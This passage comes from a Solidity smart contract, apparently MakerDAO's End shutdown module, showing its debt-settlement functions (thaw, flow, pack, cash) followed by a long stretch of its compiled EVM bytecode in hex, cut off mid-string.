require(debt == 0, "End/debt-not-zero");
require(vat.dai(address(vow)) == 0, "End/surplus-not-zero");
require(block.timestamp >= add(when, wait), "End/wait-not-finished");
debt = vat.debt();
emit Thaw();
}
function flow(bytes32 ilk) external {
require(debt != 0, "End/debt-zero");
require(fix[ilk] == 0, "End/fix-ilk-already-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
uint256 wad = rmul(rmul(Art[ilk], rate), tag[ilk]);
fix[ilk] = mul(sub(wad, gap[ilk]), RAY) / (debt / RAY);
emit Flow(ilk);
}
function pack(uint256 wad) external {
require(debt != 0, "End/debt-zero");
vat.move(msg.sender, address(vow), mul(wad, RAY));
bag[msg.sender] = add(bag[msg.sender], wad);
emit Pack(msg.sender, wad);
}
function cash(bytes32 ilk, uint256 wad) external {
require(fix[ilk] != 0, "End/fix-ilk-not-defined");
vat.flux(ilk, address(this), msg.sender, rmul(wad, fix[ilk]));
out[ilk][msg.sender] = add(out[ilk][msg.sender], wad);
require(out[ilk][msg.sender] <= bag[msg.sender], "End/insufficient-bag-balance");
emit Cash(ilk, msg.sender, wad);
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806389ea45d31161010f578063d4e8be83116100a2578063e488181311610071578063e488181314610794578063e6ee62aa146107c8578063ee6447b51461080a578063fe8507c61461084c576101e5565b8063d4e8be83146106b8578063e1340a3d14610706578063e2702fdc14610748578063e2b0caef14610776576101e5565b8063bf353dbb116100de578063bf353dbb1461059c578063c3b3ad7f146105f4578063c83062c614610628578063c939ebfc14610656576101e5565b806389ea45d3146104945780639255f809146104e2578063957aa58c1461053a5780639c52a7f114610558576101e5565b80635920375c1161018757806365fae35e1161015657806365fae35e146103e457806369245009146104285780636ea42555146104325780636f265b9314610460576101e5565b80635920375c14610346578063626cb3c51461035057806363fad85e1461038457806364bd7013146103c6576101e5565b806338c6de40116101c357806338c6de40146102745780634a10eaa6146102ac5780634ba2363a146102da578063503ecf061461030e576101e5565b80630dca59c1146101ea57806329ae81141461020857806336569e7714610240575b600080fd5b6101f2610884565b6040518082815260200191505060405180910390f35b61023e6004803603604081101561021e57600080fd5b81019080803590602001909291908035906020019092919050505061088a565b005b610248610a94565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102aa6004803603604081101561028a57600080fd5b810190808035906020019092919080359060200190929190505050610aba565b005b6102d8600480360360208110156102c257600080fd5b810190808035906020019092919050505061118c565b005b6102e2611446565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103446004803603604081101561032457600080fd5b81019080803590602001909291908035906020019092919050505061146c565b005b61034e611cdc565b005b610358612083565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b06004803603602081101561039a57600080fd5b81019080803590602001909291905050506120a9565b6040518082815260200191505060405180910390f35b6103ce6120c1565b6040518082815260200191505060405180910390f35b610426600480360360208110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c7565b005b610430612205565b005b61045e6004803603602081101561044857600080fd5b810190808035906020019092919050505061267a565b005b6104686128d0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e0600480360360408110156104aa57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f6565b005b610524600480360360208110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612df4565b6040518082815260200191505060405180910390f35b610542612e0c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612e12565b005b6105de600480360360208110156105b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f50565b6040518082815260200191505060405180910390f35b6105fc612f68565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106546004803603602081101561063e57600080fd5b8101908080359060200190929190505050612f8e565b005b6106a26004803603604081101561066c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613361565b6040518082815260200191505060405180910390f35b610704600480360360408110156106ce57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613386565b005b6107326004803603602081101561071c57600080fd5b810190808035906020019092919050505061380b565b6040518082815260200191505060405180910390f35b6107746004803603602081101561075e57600080fd5b8101908080359060200190929190505050613823565b005b61077e613c54565b6040518082815260200191505060405180910390f35b61079c613c5a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107f4600480360360208110156107de57600080fd5b8101908080359060200190929190505050613c80565b6040518082815260200191505060405180910390f35b6108366004803603602081101561082057600080fd5b8101908080359060200190929190505050613c98565b6040518082815260200191505060405180910390f35b6108826004803603604081101561086257600080fd5b810190808035906020019092919080359060200190929190505050613cb0565b005b600a5481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461093e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b6001600754146109b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f77616974000000000000000000000000000000000000000000000000000000008214156109ea5780600981905550610a58565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7826040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000848152602001908152602001600020541415610b44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050608060405180830381600087803b158015610bbb57600080fd5b505af1158015610bcf573d6000803e3d6000fd5b505050506040513d6080811015610be557600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505050506040513d60a0811015610cbf57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060008060008473ffffffffffffffffffffffffffffffffffffffff1663b5f522f7886040518263ffffffff1660e01b81526004018082815260200191505060c06040518083038186803b158015610d5457600080fd5b505afa158015610d68573d6000803e3d6000fd5b505050506040513d60c0811015610d7e57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505093509350935050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610ebf57600080fd5b505af1158015610ed3573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff166326e027f1886040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610f2a57600080fd5b505af1158015610f3e573d6000803e3d6000fd5b505050506000848481610f4d57fe5b049050610f6d600d60008b8152602001908152602001600020548261402d565b600d60008b81526020019081526020016000208190555060008312158015610f96575060008112155b611008576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408a8430600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff16888a7ffc67e20caaffa015d51f696df8ea5c273ba269c69bdc2ec31c1334d01286eaa487878660405180848152602001838152602001828152602001935050505060405180910390a4505050505050505050565b6000600a541415611205576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600e6000838152602001908152602001600020541461128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f6669782d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b505050506040513d60a081101561132f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006113a9611390600d60008681526020019081526020016000205484614047565b600b600086815260200190815260200160002054614047565b90506b033b2e3c9fd0803ce8000000600a54816113c257fe5b046113f56113e383600c600088815260200190815260200160002054614070565b6b033b2e3c9fd0803ce800000061408a565b816113fc57fe5b04600e600085815260200190815260200160002081905550827f8d1d5ae676a6db1f6f14414f8a6c78941bbfb700fe3f3be6d3245f26c2f2d55060405160405180910390a2505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008481526020019081526020016000205414156114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b815260040180828152602001915050606060405180830381600087803b15801561156d57600080fd5b505af1158015611581573d6000803e3d6000fd5b505050506040513d606081101561159757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050905060008190506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36866040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561163c57600080fd5b505af1158015611650573d6000803e3d6000fd5b505050506040513d60a081101561166657600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000806000808573ffffffffffffffffffffffffffffffffffffffff16634423c5f1896040518263ffffffff1660e01b8152600401808281526020019150506101006040518083038186803b1580156116fd57600080fd5b505afa158015611711573d6000803e3d6000fd5b505050506040513d61010081101561172857600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050975050965050505093509350600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561188057600080fd5b505af1158015611894573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f24e23eb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561196b57600080fd5b505af115801561197f573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3b22fc4876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015611a0e57600080fd5b505af1158015611a22573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff166326e027f1896040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a7957600080fd5b505af1158015611a8d573d6000803e3d6000fd5b505050506000858281611a9c57fe5b049050611abc600d60008c8152602001908152602001600020548261402d565b600d60008c81526020019081526020016000208190555060008412158015611ae5575060008112155b611b57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f408b8530600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1689876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611c5857600080fd5b505af1158015611c6c573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16898b7fbfa2310a8897203a59922debd0db38279196d8de5050df84608e2bb3e7790f6985888660405180848152602001838152602001828152602001935050505060405180910390a450505050505050505050565b600060075414611d54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a5414611dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f456e642f646562742d6e6f742d7a65726f00000000000000000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636c25b346600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611e7957600080fd5b505afa158015611e8d573d6000803e3d6000fd5b505050506040513d6020811015611ea357600080fd5b810190808051906020019092919050505014611f27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f456e642f737572706c75732d6e6f742d7a65726f00000000000000000000000081525060200191505060405180910390fd5b611f3560085460095461402d565b421015611faa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f456e642f776169742d6e6f742d66696e6973686564000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dca59c16040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561201457600080fd5b505af1158015612028573d6000803e3d6000fd5b505050506040513d602081101561203e57600080fd5b8101908080519060200190929190505050600a819055507f4df15159e645ba7d02cadde0bc937abef5ad0134623c00de50a31750b85978b960405160405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915090505481565b60095481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461217b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146122b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b600160075414612331576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b600060078190555042600881905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156123aa57600080fd5b505af11580156123be573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561242c57600080fd5b505af1158015612440573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156124ae57600080fd5b505af11580156124c2573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b50505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156125b257600080fd5b505af11580156125c6573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663692450096040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561263457600080fd5b505af1158015612648573d6000803e3d6000fd5b505050507f2308ed18a14e800c39b86eb6ea43270105955ca385b603b64eca89f98ae8fbda60405160405180910390a1565b6000600a5414156126f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f456e642f646562742d7a65726f0000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b33600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661276b856b033b2e3c9fd0803ce800000061408a565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156127db57600080fd5b505af11580156127ef573d6000803e3d6000fd5b5050505061283c600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261402d565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f47a981d8cbc0f6df64c9be4ce0a423071a088bd46c549bbd11a4d566e031fe0c826040518082815260200191505060405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000848152602001908152602001600020541415612980576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f7461672d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b1580156129f757600080fd5b505af1158015612a0b573d6000803e3d6000fd5b505050506040513d60a0811015612a2157600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050915050600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c86866040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b158015612af557600080fd5b505af1158015612b09573d6000803e3d6000fd5b505050506040513d6040811015612b1f57600080fd5b810190808051906020019092919080519060200190929190505050915091506000612b66612b4d8386614047565b600b600089815260200190815260200160002054614047565b90506000612b7484836140b6565b9050612b9c600c600089815260200190815260200160002054612b978484614070565b61402d565b600c6000898152602001908152602001600020819055507f80000000000000000000000000000000000000000000000000000000000000008111158015612c0357507f80000000000000000000000000000000000000000000000000000000000000008311155b612c75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40888830600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600003896000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015612d7c57600080fd5b505af1158015612d90573d6000803e3d6000fd5b505050508573ffffffffffffffffffffffffffffffffffffffff16877fa05b7b56166c25efbac063da905f9ea6aa1dc5101f95b43c7a838aace979ab598386604051808381526020018281526020019250505060405180910390a350505050505050565b600f6020528060005260406000206000915090505481565b60075481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612ec6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60006020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060075414613006576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c84336040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b15801561309b57600080fd5b505af11580156130af573d6000803e3d6000fd5b505050506040513d60408110156130c557600080fd5b810190808051906020019092919080519060200190929190505050915091506000811461315a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f456e642f6172742d6e6f742d7a65726f0000000000000000000000000000000081525060200191505060405180910390fd5b7f80000000000000000000000000000000000000000000000000000000000000008211156131f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bab3f40843333600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156132f557600080fd5b505af1158015613309573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16837ff26f2b994a5e16f0960958e62541681f9e3e84d4caac2e487d25e0c75243f0d8846040518082815260200191505060405180910390a3505050565b6010602052816000526040600020602052806000526040600020600091509150505481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461343a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f456e642f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b6001600754146134b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f456e642f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f76617400000000000000000000000000000000000000000000000000000000008214156135205780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b9565b7f636174000000000000000000000000000000000000000000000000000000000082141561358e5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b8565b7f646f6700000000000000000000000000000000000000000000000000000000008214156135fc5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b7565b7f766f77000000000000000000000000000000000000000000000000000000000082141561366a5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b6565b7f706f7400000000000000000000000000000000000000000000000000000000008214156136d85780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b5565b7f73706f74000000000000000000000000000000000000000000000000000000008214156137465780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506137b4565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b5b5b5b5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600d6020528060005260406000206000915090505481565b60006007541461389b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f456e642f7374696c6c2d6c69766500000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b60008381526020019081526020016000205414613924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f456e642f7461672d696c6b2d616c72656164792d646566696e6564000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36826040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b15801561399957600080fd5b505af11580156139ad573d6000803e3d6000fd5b505050506040513d60a08110156139c357600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919250909150905050600d600083815260200190815260200160002060008291905055506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b158015613a9557600080fd5b505afa158015613aa9573d6000803e3d6000fd5b505050506040513d6040811015613abf57600080fd5b810190808051906020019092919080519060200190929190505050509050613c0c600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663495d32cb6040518163ffffffff1660e01b815260040160206040518083038186803b158015613b4857600080fd5b505afa158015613b5c573d6000803e3d6000fd5b505050506040513d6020811015613b7257600080fd5b81019080805190602001909291905050508273ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b158015613bc957600080fd5b505afa158015613bdd573d6000803e3d6000fd5b505050506040513d6020811015613bf357600080fd5b810190808051906020019092919050505060001c6140d0565b600b600084815260200190815260200160002081905550817f4a9efa0a0e3f548761a6924fe06ac5cb94ecdbc08b10d855bbcc04e37c4910db60405160405180910390a25050565b60085481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b6000600e6000848152602001908152602001600020541415613d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f456e642f6669782d696c6b2d6e6f742d646566696e656400000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e833033613d9886600e60008a815260200190815260200160002054614047565b6040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015613e0f57600080fd5b505af1158015613e23573d6000803e3d6000fd5b50505050613e816010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261402d565b6010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115613fda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f456e642f696e73756666696369656e742d6261672d62616c616e63650000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16827f888c7c01b06fd8004523e2bc9a274be1feaa9f03579ae5f568061dac07879